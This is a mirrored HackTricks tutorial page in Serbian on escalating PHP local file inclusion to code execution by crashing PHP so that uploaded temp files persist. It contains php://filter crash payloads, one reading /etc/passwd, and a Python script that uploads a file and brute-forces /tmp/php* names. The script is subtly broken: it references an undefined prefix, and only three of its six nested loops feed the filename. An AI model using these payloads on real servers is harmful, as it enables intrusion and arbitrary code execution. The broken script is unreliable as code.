mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
86 lines
4.3 KiB
Markdown
86 lines
4.3 KiB
Markdown
# LFI2RCE putem prekida segmentacije
|
|
|
|
{% hint style="success" %}
|
|
Naučite i vežbajte hakovanje AWS-a:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Naučite i vežbajte hakovanje GCP-a: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Podržite HackTricks</summary>
|
|
|
|
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podelite hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
Prema writeup-ovima [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) (drugi deo) i [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view), sledeći payload-i su izazvali prekid segmentacije u PHP-u:
|
|
```php
|
|
// PHP 7.0
|
|
include("php://filter/string.strip_tags/resource=/etc/passwd");
|
|
|
|
// PHP 7.2
|
|
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
|
|
```
|
|
Treba da znate da ako **pošaljete** **POST** zahtev **koji sadrži** **fajl**, PHP će kreirati **privremeni fajl u `/tmp/php<nešto>`** sa sadržajem tog fajla. Ovaj fajl će biti **automatski obrisan** nakon što je zahtev obrađen.
|
|
|
|
Ako pronađete **LFI** i uspete da **izazovete** grešku segmentacije u PHP-u, **privremeni fajl neće biti obrisan**. Zbog toga možete da ga **tražite** sa **LFI** ranjivošću dok ga ne pronađete i izvršite proizvoljni kod.
|
|
|
|
Možete koristiti docker sliku [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) za testiranje.
|
|
```python
|
|
# upload file with segmentation fault
|
|
import requests
|
|
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
|
|
files = {'file': open('la.php','rb')}
|
|
response = requests.post(url, files=files)
|
|
|
|
|
|
# Search for the file (improve this with threads)
|
|
import requests
|
|
import string
|
|
import threading
|
|
|
|
charset = string.ascii_letters + string.digits
|
|
|
|
host = "127.0.0.1"
|
|
port = 80
|
|
base_url = "http://%s:%d" % (host, port)
|
|
|
|
|
|
def bruteforce(charset):
|
|
for i in charset:
|
|
for j in charset:
|
|
for k in charset:
|
|
for l in charset:
|
|
for m in charset:
|
|
for n in charset:
|
|
filename = prefix + i + j + k
|
|
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
|
|
print url
|
|
response = requests.get(url)
|
|
if 'spyd3r' in response.content:
|
|
print "[+] Include success!"
|
|
return True
|
|
|
|
|
|
def main():
|
|
bruteforce(charset)
|
|
|
|
if __name__ == "__main__":
|
|
main()
|
|
```
|
|
{% hint style="success" %}
|
|
Učite i vežbajte AWS hakovanje: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Učite i vežbajte GCP hakovanje: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Podržite HackTricks</summary>
|
|
|
|
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podelite hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
|
|
|
</details>
|
|
{% endhint %}
|